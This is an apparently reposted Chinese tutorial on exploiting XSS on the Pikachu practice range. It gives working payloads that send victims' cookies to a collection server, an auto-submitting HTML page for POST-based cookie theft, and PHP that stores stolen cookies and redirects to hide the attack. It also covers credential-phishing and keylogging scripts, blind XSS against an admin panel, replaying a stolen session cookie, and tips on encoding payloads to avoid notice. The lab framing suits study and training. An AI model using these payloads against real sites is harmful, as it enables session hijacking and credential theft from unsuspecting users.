【网络安全 --- XSS漏洞利用实战】你知道如何利用XSS漏洞进行cookie获取,钓鱼以及键盘监听吗?--- XSS实战篇

news2024/11/21 2:27:55

一,XSS 实战

以pikachu靶场为例

1-1 盗取cookie

过程:想要盗取别人的cookie信息的话有一个前提条件,就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据

1-1-1 安装xss后台

pikachu靶场有个xss后台,先进行安装一下

 

 

点击 点击这里 进入首页即可 

 

点击第一个cookie收集,进去 

点击cookie收集,来到如下页面进行等待,等待收取你攻击获得的数据

http://192.168.169.190/pikachu/vul/xss/xss_stored.phphttp://192.168.31.110/pikachu/vul/xss/xss_stored.php

 1-1-2 获取cookie(GET请求)

首先关闭phpstudy的魔法符号

回到我们的pikachu页面,这里我们看到有xss攻击的点  

注入XSS攻击代码 

这个payload的意思就是获取当前网页的cookie信息,然后发送给http://192.168.169.190/pikachu/pkxss/xcookie/cookie.phphttp://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

所以当有人触发payload的时候,就会收集cookie 信息发给目xss后台,保存到数据库了http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php

 '"><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 

最好对这个代码编码一下,让别人不那么容易看出来,那么这段代码的意思是将获取到的cookie,发送给这个网址的文件 /pikachu/pkxss/xcookie/cookie.php 这个文件将cookie数据保存到了xxs后台系统的数据库中,我们就能在后台看到获取的cookie数据了,我们看一下这个文件,注意header函数中的ip地址要改成我们自己的pikachu项目所在服务器的ip地址昂。这个header跳转也是为了不让对方在网址上看到你的xss代码,迷惑对方用的。 

接下来我们看一下 获取/pikachu/pkxss/xcookie/cookie.php 的cookie.php是如何处理的

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

?>

 

注入xss代码,然后访问,注意,如果别人添加cookie的时候,给set_cookie方法设置了那个httponly=True参数的话,是不能完成这个攻击的,因为有了这个参数,那么js代码就不能获取cookie了,但是它只针对js生效,什么vscript等前端语言是不受这个参数限制的  

 

然后就是submit提交 

再回来看看后台有么有获取到数据 

发现已经获取到了cookie信息

如果效果不好的话,切换php一下版本

1-1-

1-1-3 获取cookie(post请求)

post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来

下面是HTML代码,注意替换里面的IP地址信息,保存到桌面xxx.html

action= 里的IP地址是存在xss注入点的页面网址

document.location = 里的IP地址是xss后台的IP地址

将里面的ip地址和路径改为这个虚拟机的ip地址和xss后台路径:这个文件我们后面想办法引导别人打开这个文件,当他打开这个文件的时候,就把他的cookie信息发送到了我们的xss后台。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value="&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
 * 
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

 整个原理详细讲解

这是登录前的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/post_login.php
 

这是登录后的状态,URL为 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php
 

 这是 http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php 对应的后台页面服务端代码,这个页面只有登录了能访问所以有权限。所以如果直接往这个页面发请求的话就会检验有没有登录。

下面看发post请求的html页面,以下是主体代码

<body>
<form method="post" action="http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value="&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> "
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>

 这个是一个表单,提交到有权限的一个后台地址,只能登录了才能访问。可以看到input框的name属性为message,这个input框的值为

&apos;&quot;><script>document.location ='http://192.168.169.190/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

准备工作差不多了,现在给大家画个详细的图解,讲解cookie如何获取

 接下来就开始实践一下吧

找到pikachu,输入用户名和密码登录这里,admin/123456,登录成功以后,浏览器就会保存登录成功的cookie,登录成功后往后台提交数据的时候都会带上cookie ,后台根据cookie判断用户是否登录成功。

登录成功后的效果 这时候浏览器已经保存了cookie,现在提交数据时都会带上这个cookie

 

然后直接双击打开我们的post.html(注意用户登录的cookie保存在谷歌浏览器,这个xx.html算是攻击者发给用户的攻击代码,诱导用户打开)

首先,用户打开以后会往后台 xss_reflected_post.php发请求,带上一个message='我们的payload',因为浏览器已经缓存了这个用户的cookie,所以会带上cookie,这样身份认证就通过了

后台取出message值发现等于kebi ,就会把payload返回给客户端,payload就会在客户端执行,发请求给xss后台,同时带上自己的cookie 

打开效果:直接跳转到了如下页面

 然后看我们xss后台的cookie信息

有了cookie信息,我们就不知道账号密码的情况下也能登录,演示一下

我用火狐浏览器演示不用账号密码,通过cookie登录

网址是这个http://192.168.169.190/pikachu/vul/xss/xsspost/xss_reflected_post.php

但是这个是有权限的,如果没有登录的话,浏览器不会保存cookie ,直接访问的话后台验证失败,就会跳转到登录页,这个我们之前分析过了


 

我还没按回车,一按回车因为登录失败就会跳转到登录页

现在我用之前获取到的cookie试一下 ,这里用了火狐浏览器提供的一个插件,很方便的管理cookie ,可以添加cookie

这是之前收集到的cookie

ant[uname]=admin;

ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=olj54c4qim7ik7k7h560eik013 

都准备就绪了,看看能否成功 ,按回车发请求,就会携带上cookie

 

 

我们就通过xss漏洞获取到了用户cookie以后,用用户的身份成功登录了网站。 

1-2 钓鱼

钓鱼的方法有很多,但是这个主要是看你的页面搭建的好不好,是不是和别人正常网站页面的很一样,能不能骗到别人,我们不能做这个昂,违法的。 只要有xss漏洞的地方,都可以做钓鱼。

钓鱼攻击利用页面 D:\phpStudy\WWW\pikachu\pkxss\xfish

注意把IP地址修改成你自己的 ,注意源文件路径有问题,路径少了pikachu

这段代码就是弹出一个对话框,然后将用户在对话框中输入的用户名和密码发送到xfish.php文件中,这个文件做的事情就是将数据保存到数据库中。

 准备payload

'"><script src="http://192.168.169.190/pikachu/pkxss/xfish/fish.php"></script>

打开pikachu的存储型位置,将payload放进入 ,然后submit

就弹出钓鱼页面返回的输入用户名,密码的框 

 输入账号密码提交,这样以后这个payload会永久存储在数据库了,只要有用户登录机会弹出框,让用户输入用户密码,然后发给攻击者

现在我们到xss后台看一下

发现已经有结果了 

当你输入了用户信息之后,点击登录,结果啊,提示你登录超时请重新登录等效果,然后你有输入了一遍用户名和密码,在点击登录的时候,你的用户信息就被拿走了,第二次提示你输入用户名密码的时候,你要注意观察网站的网站是否变化了,看上去很诡异的,编码过的,那么就不要输入了,因为这是别人做的和正常网站一样页面效果的钓鱼网站登录页面,以前qq账号密码就这么丢的。 

1-3 获取键盘记录

js的这个监控键盘就的js文件功能不太好昂,简答演示一下

payload如下

'"><script src="http://192.168.169.190/pikachu/pkxss/rkeypress/rk.js"></script>

 打开下面的文件,修改一下ip地址和路径,注意源文件路径有问题,路径少了pikachu,

存储型xss那里输入payload,提交 

然后在页面上随便敲一敲键盘,注意只能记录这个钓鱼的页面实现键盘记录提交

发现已经有很多数据了 

 1-4 XSS盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。

管理员后台:   http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

简单payload

xxx'"><script>confirm(1)</script>

 点击提交

点击提交之后,没有任何弹框效果,不知道它有没有xss漏洞,因为数据提交到了后台,我们在前端没有看到我们提交的任何数据。

这里有提示后台网址

 进入后台看一下:

  http://192.168.169.190/pikachu/vul/xss/xssblind/admin_login.php

账号密码  amin/123456

一登录就发现,后台管理员遭殃了,原来我们前端输入的恶意代码作用到了后台 

 那么这里我如果插入的钓鱼代码,弹框效果更加好看一些,提示重新登陆等文字,那么很有可能就能获取到你的后台账号密码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1061993.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

图的广度遍历-邻接矩阵实现

description 本题要求实现邻接矩阵存储图的广度优先遍历。 函数接口定义&#xff1a; void BFS(MGraph G,Vertex i); 其中MGraph是邻接矩阵存储的图&#xff0c;定义如下&#xff1a; #define MaxVertexNum 10 /定义最大顶点数/ typedef int Vertex;/* 用顶点下标表示顶点,…

1799_GNU pdf阅读器evince_windows系统下编译尝试

全部学习汇总&#xff1a; GreyZhang/g_GNU: After some years I found that I do need some free air, so dive into GNU again! (github.com) 从网上下载下来了evince的代码&#xff0c;尝试做一个windows下的编译。 这应该是autotools的构建系统&#xff0c;先尝试运行confi…

java做个qq机器人

前置的条件 机器人是基于mirai框架实现的。根据官方的文档&#xff0c;建议使用openjdk11。 我这里使用的编辑工具是idea2023 在idea中新建一个maven项目&#xff0c;虽然可以使用gradle进行构建&#xff0c;不过我这里由于网络问题没有跑通。 pom.xml <dependency>&l…

提示msvcp140.dll丢失的5个解决方法,msvcp140.dll丢失问题全面分析

在我们的日常生活和工作中&#xff0c;电脑已经成为不可或缺的工具。然而&#xff0c;在使用电脑的过程中&#xff0c;我们经常会遇到各种问题&#xff0c;其中就包括提示 msvcp140.dll 丢失的问题。msvcp140.dll 是 Visual C Redistributable for Visual Studio 2015 的运行时…

堆--数组中第K大元素

如果对于堆不是太认识&#xff0c;请点击&#xff1a;堆的初步认识-CSDN博客 解题思路&#xff1a; /*** <h3>求数组中第 K 大的元素</h3>* <p>* 解体思路* <ol>* 1.向小顶堆放入前k个元素* 2.剩余元素* 若 < 堆顶元素, 则略过* …

SM5308 2.1A 充电 2.4 A 放电高集成度移动电源 SOC 可替代IP5306

SM5308 是一款集成升压转换器、锂电池充电管理、电池电量指示的多功能电源管理 SOC&#xff0c;为移动电源 提供完整的电源解决方案。 SM5308 的高集成度与丰富功能,使其在应用时仅需极少的外围器件,并有效减小整体方案的尺寸&#xff0c; 降低 BOM 成本。 SM5308 只需一个电…

竞赛选题 深度学习 opencv python 实现中国交通标志识别

文章目录 0 前言1 yolov5实现中国交通标志检测2.算法原理2.1 算法简介2.2网络架构2.3 关键代码 3 数据集处理3.1 VOC格式介绍3.2 将中国交通标志检测数据集CCTSDB数据转换成VOC数据格式3.3 手动标注数据集 4 模型训练5 实现效果5.1 视频效果 6 最后 0 前言 &#x1f525; 优质…

1797_GNU pdf阅读器evince

全部学习汇总&#xff1a; GreyZhang/g_GNU: After some years I found that I do need some free air, so dive into GNU again! (github.com) 近段时间经历了很多事情&#xff0c;终于想找一点技术上的自由气氛。或许&#xff0c;没有什么比GNU的一些软件探索更适合填充这样的…

千禧辣妹风穿搭必备——轻律U1头戴式耳机百搭不出错

千禧辣妹风的打造方法十分多样。我们可以在衣服造型多变&#xff0c;还可以在饰品上改造&#xff0c;从而打造出一种随性&#xff0c;辣妹炸眼的格调。特别是头戴式耳机很适合我们去塑造属于自己的千禧辣妹Y2K的美感&#xff0c;轻律umelody U1采用棕银配色&#xff0c;光是外观…

二叉树的遍历方式和代码

二叉树的三种遍历和代码 1.前序遍历2.中序遍历3.后序遍历4.三种遍历方式的代码实现 1.前序遍历 学习二叉树结构&#xff0c;最简单的方式就是遍历。所谓遍历(Traversal)是指沿着某条搜索路线&#xff0c;依次对树中每个结点均做一次且仅做一次访问。访问结点所做的操作依赖于具…

如何使用 Bing Image Creator 创建图像(DALL-E3)

Bing Image Creator 是一个由微软开发的人工智能图像生成工具&#xff0c;可以根据用户的文字描述生成逼真的图像。该工具使用了 OpenAI 的 DALL-E 3 模型&#xff0c;可以生成各种各样的图像&#xff0c;包括人物、动物、场景、物体等。 使用 Bing Image Creator 创建图像 要…

VUE3照本宣科——路由与状态管理器

VUE3照本宣科——路由与状态管理器 前言一、路由&#xff08;router&#xff09;1.createRouter2.router-link3.router-view4.useRoute5.useRouter6.路由守卫7.嵌套路由 二、状态管理器&#xff08;Pinia&#xff09;1.定义Store&#xff08;1&#xff09;Option Store&#x…

用Python操作PPT的办公自动化教程

PPT通过其精美的可视化技巧以及良好的演示效果&#xff0c;成为了职场人士的必备技能。PPT的设计是一门大学问&#xff0c;无论是设计技巧&#xff0c;还是操作方法&#xff0c;都衍生出了专门的课程。 主要介绍Python操作PPT的技巧&#xff0c;编程的优势在于处理速度&#x…

李沐深度学习记录4:12.权重衰减/L2正则化

权重衰减从零开始实现 #高维线性回归 %matplotlib inline import torch from torch import nn from d2l import torch as d2l#整个流程是&#xff0c;1.生成标准数据集&#xff0c;包括训练数据和测试数据 # 2.定义线性模型训练 # 模型初始化&#xff08;函…

【docker】数据卷和数据卷容器

一、如何管理docker容器中的数据&#xff1f; 二、数据卷 1、数据卷原理 将容器内部的配置文件目录&#xff0c;挂载到宿主机指定目录下 数据卷默认会一直存在&#xff0c;即使容器被删除 宿主机和容器是两个不同的名称空间&#xff0c;如果想进行连接需要用ssh&#xff0c;…

联合概率和条件概率的区别和联系

联合概率P(A∩B) 两个事件一起&#xff08;或依次&#xff09;发生的概率。 例如&#xff1a;掷硬币的概率是 ⁄₂ 50%&#xff0c;翻转 2 个公平硬币的概率是 ⁄₂ ⁄₂ ⁄₄ 25%&#xff08;这也可以理解为 50% 的 50%&#xff09; 对于 2 个硬币&#xff0c;样本空间将…

开机可用内存分析Tip

一、开机内存简介 开机内存指的是开机一段时间稳定后的可用内存。一般项目都会挑选同平台其他优秀竞品内存数据&#xff0c;这个也是衡量性能的一个重要标准。所以要进行开机内存检测&#xff0c;同时优化非法内存进程占用。 二、测试前期核查任务 开机内存测试前要进行测试机…

十二、同步互斥与通信

1、概述 (1)可以把多任务系统当做一个团队&#xff0c;里面的每一个任务就相当于团队中的一个人。团队成员之间要协调工作进度(同步)、争用会议室(互斥)、沟通(通信)。多任务系统中所涉及的概念&#xff0c;都可以在现实生活中找到例子。 (2)各类RTOS都会涉及这些概念&#x…

C语言编程经典100例——11至20例

目录 第 11 例 第 12 例 第 13 例 第 14 例 第 15 例 第 16 例 第 17 例 第 18 例 第 19 例 第 20 例 第 11 例 程序源码&#xff1a; /* 题目&#xff1a;古典问题&#xff08;兔子生崽&#xff09;&#xff1a;有一对兔子&#xff0c;从出生后第3个月起每个月都生…

洛谷题目题解详细解答

洛谷是一个很不错的刷题软件&#xff0c;可是找不到合适的题解是个大麻烦&#xff0c;大家有啥可以私信问我&#xff0c;以下是我已经通过的题目。 你如果有哪一题不会&#xff08;最好是我通过过的&#xff0c;我没过的也没关系&#xff09;&#xff0c;可以私信我&#xff0…